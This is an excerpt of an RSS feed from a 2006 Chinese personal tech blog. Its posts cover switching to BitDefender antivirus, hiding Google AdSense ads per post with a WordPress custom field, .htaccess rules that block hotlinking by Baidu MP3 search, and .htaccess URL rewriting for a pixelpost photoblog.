BD下载地址：http://zjtz.crsky.com/200609/bitdefender_avplus_v10h.rar
	
	
	&#169; SUN for 徘徊在玻璃之城, 2006. &#124;
	  Permalink &#124;
	  与时俱进 &#124; 
	  No comment ]]></description>
			<content:encoded><![CDATA[<p>无意中看到了今年最新的antivirus software排名，使用好久的卡巴被来自罗马尼亚的BitDefender超越了……<br />
在经过一个小时的调查研究分析后，决定挥泪卸载本本里面的卡巴斯基＋天网防火墙的组合，迎娶BitDedender－－这一黄金套装（antivirus,antispyware,firewall)。</p>
<p>又经过一个小时的测试，结果如下：<br />
启动速度，Bitdefender要快于我的卡巴＋天网组合（其实天网并不好用，我用他，只是因为当初买了个10块的正版，不舍得丢弃）。<br />
查毒方面，BitDefender比较可爱，居然从我的电脑里查出个以前下载的整人游戏，“病毒“名称为Joke.Stressrelief。话说回来，BD的病毒库比卡巴大整整一倍还多。<br />
实时报警，我不中病毒已经好久了，这个暂时没法测试。其实身为杀软的老大和老二，BD和卡巴都是非常鏢悍的。但是浏览网页的时候，卡巴有些拖速度，让我不是很喜欢，这次换了BD，希望它能占更少的系统资源。</p>
<p>BD下载地址：http://zjtz.crsky.com/200609/bitdefender_avplus_v10h.rar</p>
	<p></p>
	<hr noshade style="margin:0;height:1px" />
	<p>&copy; SUN for <a href="http://blog.znsun.com">徘徊在玻璃之城</a>, 2006. |
	  <a href="http://blog.znsun.com/2006/10/457/bid-farewell-to-president-kabbah-married-bd">Permalink</a> |
	  <a href="http://blog.znsun.com/category/tech" title="View all posts in 与时俱进" rel="category tag">与时俱进</a> | 
	  <a href="http://blog.znsun.com/2006/10/457/bid-farewell-to-president-kabbah-married-bd#comments">No comment</a></p> ]]></content:encoded>
			<wfw:commentRss>http://blog.znsun.com/2006/10/457/bid-farewell-to-president-kabbah-married-bd/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>用Custom Field控制Google广告</title>
		<link>http://blog.znsun.com/2006/07/438/custom-field-controlled-by-google-ads</link>
		<comments>http://blog.znsun.com/2006/07/438/custom-field-controlled-by-google-ads#comments</comments>
		<pubDate>Wed, 26 Jul 2006 17:39:39 +0000</pubDate>
		<dc:creator>SUN</dc:creator>
				<category><![CDATA[与时俱进]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[电脑技术]]></category>

		<guid isPermaLink="false">http://blog.znsunimage.com/2006/07/27/438</guid>
		<description><![CDATA[关键字：Google Ads, Custom Field, Wordpress, get_post_meta()函数
Wordpress是目前最强大的免费动态blog平台，它模块化的结构也方便高级用户进行必要的定制。
今天，我就利用它的Custom Field做了一个对单独Entry的Google广告控制模块。
过程很简体，会的5分钟内就能搞定。
1.首先，要发布Google广告，必须要去Google Adsense申请一个帐号；另外，本方法针对单独entry操作，因此需要模板文件中有针对单一entry的模板（如single.php）。
2.根据Google自己的统计，和文章内容镶嵌在一起的广告会得到较高的点击率，所以我建议在豆腐块文章中，各位站长应该使用125x125或者是120X240的小广告，以便能和文章镶嵌；至于镶嵌的代码，我采用表格嵌套的方式（如下图所示）。


3.利用Wordpress的Custom Field新建一个key，取名为no_ads。当不需要显示Google广告时候，可设置为1，其他情况则无需填写该项值(关于更多custom field的知识请点击本条目前面的链接)。
4.具体代码替换见下：
&#160;&#160;1)打开single.php，找到显示entry内容的语句
                 &#60;?php the_content(); ?&#62;
&#160;&#160;2)将该语句替换为如下语句


&#60;table width=&#34;655&#34;&#62; &#60;?php //the big table for content, please change the width by yourself ?&#62;
&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#60;tr&#62;&#60;td valign=&#34;top&#34;&#62;
&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#60;?php if (get_post_meta($post-&#62;ID, no_ads, true)==false) //利用custom field中的no_ads项来判断是否需要显示Google广告
&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;{
&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;?&#62;
&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#60;table width=&#34;130&#34; align=&#34;right&#34;&#62;
&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#60;tr valign=&#34;top&#34; align=&#34;right&#34;&#62;&#60;td&#62;
&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#60;script type=&#34;text/javascript&#34;&#62;&#60;!--
&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;google_ad_client [...]]]></description>
			<content:encoded><![CDATA[<p><font color="pink">关键字：Google Ads, Custom Field, Wordpress, get_post_meta()函数</font></p>
<p>Wordpress是目前最强大的免费动态blog平台，它模块化的结构也方便高级用户进行必要的定制。<br />
今天，我就利用它的Custom Field做了一个对单独Entry的Google广告控制模块。<br />
过程很简体，会的5分钟内就能搞定。</p>
<p>1.首先，要发布Google广告，必须要去<a href="http://www.google.com/adsense/" target="_blank">Google Adsense</a>申请一个帐号；另外，本方法针对单独entry操作，因此需要模板文件中有针对单一entry的模板（如single.php）。</p>
<p>2.根据Google自己的统计，和文章内容镶嵌在一起的广告会得到较高的点击率，所以我建议在豆腐块文章中，各位站长应该使用125x125或者是120X240的小广告，以便能和文章镶嵌；至于镶嵌的代码，我采用表格嵌套的方式（如下图所示）。</p>
<div align="center"><img src="http://blog.znsun.com/wp-content/uploads/2006/07/20060727.gif" width="200" height="133" alt="" title="" /></div>
<p></p>
<p>3.利用Wordpress的<a href="http://codex.wordpress.org/Using_Custom_Fields" target="_blank">Custom Field</a>新建一个key，取名为no_ads。当不需要显示Google广告时候，可设置为1，其他情况则无需填写该项值(关于更多custom field的知识请点击本条目前面的链接)。</p>
<p>4.具体代码替换见下：<br />
&nbsp;&nbsp;1)打开single.php，找到显示entry内容的语句<br />
                 <font color="pink">&lt;?php the_content(); ?&gt;</font><br />
&nbsp;&nbsp;2)将该语句替换为如下语句</p>
<hr />
<p>
<font color="pink">&lt;table width=&quot;655&quot;&gt; &lt;?php //the big table for content, please change the width by yourself ?&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;tr&gt;&lt;td valign=&quot;top&quot;&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;?php if (get_post_meta($post-&gt;ID, no_ads, true)==false) //利用custom field中的no_ads项来判断是否需要显示Google广告<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;?&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;table width=&quot;130&quot; align=&quot;right&quot;&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;tr valign=&quot;top&quot; align=&quot;right&quot;&gt;&lt;td&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;script type=&quot;text/javascript&quot;&gt;&lt;!--<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;google_ad_client = &quot;pub-XXXXXXXX&quot;; //你能从Google adsense得到自己的client代号，下面广告的颜色参数请自行更改<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;google_ad_width = 125;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;google_ad_height = 125;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;google_ad_format = &quot;125x125_as&quot;;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;google_ad_type = &quot;text_image&quot;;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;google_ad_channel =&quot;&quot;;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;google_color_border = &quot;888888&quot;;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;google_color_bg = &quot;555555&quot;;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;google_color_link = &quot;FFCCFF&quot;;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;google_color_text = &quot;FFFFFF&quot;;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;google_color_url = &quot;FFFF99&quot;;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//--&gt;&lt;/script&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;script type=&quot;text/javascript&quot;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;src=&quot;http://pagead2.googlesyndication.com/pagead/show_ads.js&quot;&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/script&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/td&gt;&lt;/tr&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/table&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;?php <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;?&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;?php the_content(); ?&gt;<br />
&lt;/td&gt;&lt;/tr&gt;<br />
&lt;/table&gt;</font></p>
<hr />
<p>实际的结果，在我blog上就能看到。<a href="http://blog.znsun.com/2006/07/27/438" target="_blank">本entry</a>单独打开时能看到右侧的Google广告，而<a href="http://blog.znsun.com/2006/06/21/430" target="_blank">另一个entry</a>中，no_ads的值设为1，点击后可以看到google 广告没有被显示。</p>
	<p></p>
	<hr noshade style="margin:0;height:1px" />
	<p>&copy; SUN for <a href="http://blog.znsun.com">徘徊在玻璃之城</a>, 2006. |
	  <a href="http://blog.znsun.com/2006/07/438/custom-field-controlled-by-google-ads">Permalink</a> |
	  <a href="http://blog.znsun.com/category/tech" title="View all posts in 与时俱进" rel="category tag">与时俱进</a> | 
	  <a href="http://blog.znsun.com/2006/07/438/custom-field-controlled-by-google-ads#comments">No comment</a></p> ]]></content:encoded>
			<wfw:commentRss>http://blog.znsun.com/2006/07/438/custom-field-controlled-by-google-ads/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>对百度mp3搜索说不</title>
		<link>http://blog.znsun.com/2006/03/351/mp3-search-not-of-baidu</link>
		<comments>http://blog.znsun.com/2006/03/351/mp3-search-not-of-baidu#comments</comments>
		<pubDate>Sat, 11 Mar 2006 03:43:54 +0000</pubDate>
		<dc:creator>SUN</dc:creator>
				<category><![CDATA[与时俱进]]></category>
		<category><![CDATA[网站更新]]></category>
		<category><![CDATA[电脑技术]]></category>

		<guid isPermaLink="false">http://blog.znsunimage.com/2006/03/11/351/</guid>
		<description><![CDATA[关键词: 百度搜索 MP3 防止盗链  htaccess设置 robots.txt
昨天查看网站log时候，发现了一件非常令人气愤的事情。
我明明在自己的网站中设置了禁止所有网络爬虫访问Music子目录：
User-agent: *
Disallow: /Music/
但是日志中显示3月10日一天就有来自百度mp3搜索的几百个访问，这些访问无一例外的采用206 partial content方式，也就是说，他们并不是通过我的网页访问网站中的mp3文件，而是直接通过baidu的mp3搜索下载！！
通过仔细翻阅那几天的日子，我发现更恐怖的事情，baidu的所谓国际标准机器人居然没有访问我的robots文件，就对我的网站内容进行扫描。这意味着我并不希望被搜索引擎收录的mp3文件都会暴露在大庭广众之下。查看日志还可以发现，一天数百兆甚至接近1G的数据流量竟然有80%是从那不守规矩的百度MP3搜索引擎。我一个月才250G流量限制，现在才不到十个mp3文件一天就可以上G流量，要是以后多点mp3，我还怎么活啊。
所以，我们必须对百度疯狂盗链说不！（其实盗链不光百度，但目前来看，就百度的mp3搜索最无耻）
下面是对.htaccess文件的设置，如果有使用apache服务器的网站站长深受百度mp3搜索的骚扰，可以试一试下面的方法。
1.是屏蔽来自百度mp3的搜索。
2.是防盗链设置，禁止除了白名单中地址外，其他所有地址对mp3文件的直接访问。
我就不信百度现在还能来盗我的链，  
RewriteEngine on
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://(www\.)?znsun.com(/)?.*$ [NC]
RewriteCond %{HTTP_REFERER} !^http://www\.znsun\.com/.*$ [NC]
RewriteCond %{HTTP_REFERER} !^http://blog\.znsun\.com/.*$ [NC]
RewriteCond %{HTTP_REFERER} !^http://click\.znsun\.com/.*$ [NC]
RewriteCond %{HTTP_REFERER} !^http://gallery\.znsun\.com/.*$ [NC]
RewriteCond %{HTTP_REFERER} !^http://(.*)\.spaces\.live\.com/.*$ [NC]
RewriteCond %{HTTP_REFERER} !^http://(.*)\.wordpress\.com/.*$ [NC]
RewriteCond %{HTTP_REFERER} !^http://web\.hku\.hk/.*$ [NC]
RewriteCond %{HTTP_REFERER} !^http://www\.hku\.hk/.*$ [NC]
RewriteCond %{HTTP_REFERER} !^http://forum\.xitek\.com/.*$ [NC]
RewriteCond %{HTTP_REFERER} !^http://forum\.pixelpost\.org/.*$ [NC]
RewriteCond %{HTTP_REFERER} !^http://del\.icio\.us/.*$ [NC]
RewriteCond %{HTTP_REFERER} !^http://(.*)\.feedburner\.com/.*$ [NC]
RewriteCond [...]]]></description>
			<content:encoded><![CDATA[<p>关键词: 百度搜索 MP3 防止盗链  htaccess设置 robots.txt</p>
<p>昨天查看网站log时候，发现了一件非常令人气愤的事情。<br />
我明明在自己的网站中设置了禁止所有网络爬虫访问Music子目录：</p>
<blockquote><p>User-agent: *<br />
Disallow: /Music/</p></blockquote>
<p>但是日志中显示3月10日一天就有来自百度mp3搜索的几百个访问，这些访问无一例外的采用206 partial content方式，也就是说，他们并不是通过我的网页访问网站中的mp3文件，而是直接通过baidu的mp3搜索下载！！<br />
通过仔细翻阅那几天的日子，我发现更恐怖的事情，baidu的所谓国际标准机器人居然没有访问我的robots文件，就对我的网站内容进行扫描。这意味着我并不希望被搜索引擎收录的mp3文件都会暴露在大庭广众之下。查看日志还可以发现，一天数百兆甚至接近1G的数据流量竟然有80%是从那不守规矩的百度MP3搜索引擎。我一个月才250G流量限制，现在才不到十个mp3文件一天就可以上G流量，要是以后多点mp3，我还怎么活啊。</p>
<p>所以，我们必须对百度疯狂盗链说不！（其实盗链不光百度，但目前来看，就百度的mp3搜索最无耻）<br />
下面是对.htaccess文件的设置，如果有使用apache服务器的网站站长深受百度mp3搜索的骚扰，可以试一试下面的方法。</p>
<p>1.是屏蔽来自百度mp3的搜索。<br />
2.是防盗链设置，禁止除了白名单中地址外，其他所有地址对mp3文件的直接访问。</p>
<p>我就不信百度现在还能来盗我的链， <img src='http://blog.znsun.com/wp-includes/images/smilies/icon_evil.gif' alt=':evil:' class='wp-smiley' /> </p>
<p class="code">RewriteEngine on<br />
RewriteCond %{HTTP_REFERER} !^$<br />
RewriteCond %{HTTP_REFERER} !^http://(www\.)?znsun.com(/)?.*$ [NC]<br />
RewriteCond %{HTTP_REFERER} !^http://www\.znsun\.com/.*$ [NC]<br />
RewriteCond %{HTTP_REFERER} !^http://blog\.znsun\.com/.*$ [NC]<br />
RewriteCond %{HTTP_REFERER} !^http://click\.znsun\.com/.*$ [NC]<br />
RewriteCond %{HTTP_REFERER} !^http://gallery\.znsun\.com/.*$ [NC]<br />
RewriteCond %{HTTP_REFERER} !^http://(.*)\.spaces\.live\.com/.*$ [NC]<br />
RewriteCond %{HTTP_REFERER} !^http://(.*)\.wordpress\.com/.*$ [NC]<br />
RewriteCond %{HTTP_REFERER} !^http://web\.hku\.hk/.*$ [NC]<br />
RewriteCond %{HTTP_REFERER} !^http://www\.hku\.hk/.*$ [NC]<br />
RewriteCond %{HTTP_REFERER} !^http://forum\.xitek\.com/.*$ [NC]<br />
RewriteCond %{HTTP_REFERER} !^http://forum\.pixelpost\.org/.*$ [NC]<br />
RewriteCond %{HTTP_REFERER} !^http://del\.icio\.us/.*$ [NC]<br />
RewriteCond %{HTTP_REFERER} !^http://(.*)\.feedburner\.com/.*$ [NC]<br />
RewriteCond %{HTTP_REFERER} mp3\.baidu\.com [NC,OR]<br />
RewriteCond %{HTTP_REFERER} 202\.108\.23\.172 [NC,OR]<br />
RewriteCond %{HTTP_REFERER} www\.xqxp\.com [NC,OR]<br />
RewriteRule .*\.(mp3|mp4|rar|jepg|jpg|pdf)$ - [F]</p>
<p><em>注：robots文件标准是给各个搜索引擎的规范，是所有搜索引擎必须遵守的国际准则。和百度比，google，yahoo的机器人都很乖，都是先访问robots文件才进行抓取。baidu的行为不是无耻，是<font color="pink">相当</font>的无耻～</em></p>
	<p></p>
	<hr noshade style="margin:0;height:1px" />
	<p>&copy; SUN for <a href="http://blog.znsun.com">徘徊在玻璃之城</a>, 2006. |
	  <a href="http://blog.znsun.com/2006/03/351/mp3-search-not-of-baidu">Permalink</a> |
	  <a href="http://blog.znsun.com/category/tech" title="View all posts in 与时俱进" rel="category tag">与时俱进</a>,  <a href="http://blog.znsun.com/category/website" title="View all posts in 网站更新" rel="category tag">网站更新</a> | 
	  <a href="http://blog.znsun.com/2006/03/351/mp3-search-not-of-baidu#comments">7 comments</a></p> ]]></content:encoded>
			<wfw:commentRss>http://blog.znsun.com/2006/03/351/mp3-search-not-of-baidu/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>.htaccess指南</title>
		<link>http://blog.znsun.com/2006/01/270/htaccess-guide</link>
		<comments>http://blog.znsun.com/2006/01/270/htaccess-guide#comments</comments>
		<pubDate>Sun, 22 Jan 2006 19:45:09 +0000</pubDate>
		<dc:creator>SUN</dc:creator>
				<category><![CDATA[与时俱进]]></category>
		<category><![CDATA[网站更新]]></category>
		<category><![CDATA[电脑技术]]></category>

		<guid isPermaLink="false">http://blog.znsunimage.com/2006/01/23/270/</guid>
		<description><![CDATA[.htaccess指南->photoblog更新
我其实还是很臭美的，photoblog里就那么几张破照片，却变着法子想着被google收录，这个叫做本末倒置，嗯！  不过思想斗争了半天，还是决定改写代码，毕竟照相的时间之后很多，但等google的robot爬完我的photoblog却可能需要数月时间。
现在，photoblog里面的网页基本上都是静态的啦  
先来科普：
 网页分动态网页和静态网页两种，一般说来动态的更为灵活，操作性更强大，更方便（所以我全换成动态平台了）。但是所有的搜索引擎爬虫对动态网页的抓取效果都不太好，所以为了更好的被搜索引擎系统的收录，最好的方法就是用静态网址来模拟动态网址。
我的photoblog用的是pixelpost，一个MySQL+php的动态发布平台，它对静态网页模拟支持不好。所以这就是我要改代码的原因了。
这次改写利用的是Apache HTTP Server的rewrite模块。其方法就是利用在根目录下的.htaccess文件来重定向网页。
 原理其实很简单，就是在该文件中定义一些重定向。
 举例：
RewriteRule ^abc$ def
 RewriteRule ^sun$ QmQ

如果你在.htaccess文件中定义了上述的指令，那么当有人访问你的网页时，如果链接中包含字符"abc"，那么系统就会解析成def，如果包含"sun"，就会解析成"QmQ"。
 不过真的改写起来，还是很恐怖的。首先要总结除了要想办法归纳总结这个htaccess文件外，还要在数千行源代码中找出需要更改的动态链接，并改写成符合规则的方式。更具体的规则，参见网页。
下面是我photoblog根目录下的.htaccess文件，如果谁想用piexlpost来架设自己的photoblog时候，可以参考一下。
 ----------------------------------------------------------------------------------------------
Options -Indexes
 RewriteEngine on
 RewriteBase  /
 RewriteRule ^(browse&#124;about)$ index.php?x=$1&#38;pagenum=1
 RewriteRule ^browse/([0-9]+)$ index.php?x=browse&#38;category=&#38;pagenum=$1
 RewriteRule ^browse/category/([0-9]+)/([0-9]+)$ index.php?x=browse&#38;category=$1&#38;pagenum=$2
 RewriteRule ^browse/category/([0-9]+)$ index.php?x=browse&#38;category=$1&#38;pagenum=1
 RewriteRule ^comment/([0-9]+)$ index.php?popup=comment&#38;showimage=$1
 RewriteRule ^comment/submit$ index.php?x=save_comment
 RewriteRule ^photo/([0-9]+)$ index.php?showimage=$1
 RewriteRule ^collage$ index.php?x=collage
 RewriteRule ^photo/([0-9]+)/rating/([1-5])$ index.php?showimage=$1&#38;rating=$2
 RewriteRule ^photo/file/(.+)$ /images/$1
 RewriteRule ^thumbnails/latest$ [...]]]></description>
			<content:encoded><![CDATA[<p>.htaccess指南->photoblog更新</p>
<p>我其实还是很臭美的，photoblog里就那么几张破照片，却变着法子想着被google收录，这个叫做本末倒置，嗯！ <img src='http://blog.znsun.com/wp-includes/images/smilies/icon_evil.gif' alt=':evil:' class='wp-smiley' /> 不过思想斗争了半天，还是决定改写代码，毕竟照相的时间之后很多，但等google的robot爬完我的photoblog却可能需要数月时间。</p>
<p>现在，<a href="http://click.znsun.com">photoblog</a>里面的网页基本上都是静态的啦 <img src='http://blog.znsun.com/wp-includes/images/smilies/icon_mrgreen.gif' alt=':mrgreen:' class='wp-smiley' /> </p>
<p>先来科普：<br />
 网页分动态网页和静态网页两种，一般说来动态的更为灵活，操作性更强大，更方便（所以我全换成动态平台了）。但是所有的搜索引擎爬虫对动态网页的抓取效果都不太好，所以为了更好的被搜索引擎系统的收录，最好的方法就是用静态网址来模拟动态网址。</p>
<p>我的photoblog用的是pixelpost，一个MySQL+php的动态发布平台，它对静态网页模拟支持不好。所以这就是我要改代码的原因了。</p>
<p>这次改写利用的是Apache HTTP Server的rewrite模块。其方法就是利用在根目录下的.htaccess文件来重定向网页。<br />
 原理其实很简单，就是在该文件中定义一些重定向。<br />
 举例：</p>
<blockquote><p>RewriteRule ^abc$ def<br />
 RewriteRule ^sun$ QmQ</p>
</blockquote>
<p>如果你在.htaccess文件中定义了上述的指令，那么当有人访问你的网页时，如果链接中包含字符"abc"，那么系统就会解析成def，如果包含"sun"，就会解析成"QmQ"。<br />
 不过真的改写起来，还是很恐怖的。首先要总结除了要想办法归纳总结这个htaccess文件外，还要在数千行源代码中找出需要更改的动态链接，并改写成符合规则的方式。更具体的规则，参见<a href="http://httpd.apache.org/docs/1.3/mod/mod_rewrite.html">网页</a>。</p>
<p>下面是我photoblog根目录下的.htaccess文件，如果谁想用piexlpost来架设自己的photoblog时候，可以参考一下。<br />
 ----------------------------------------------------------------------------------------------</p>
<p><code>Options -Indexes<br />
 RewriteEngine on<br />
 RewriteBase  /<br />
 RewriteRule ^(browse|about)$ index.php?x=$1&amp;pagenum=1<br />
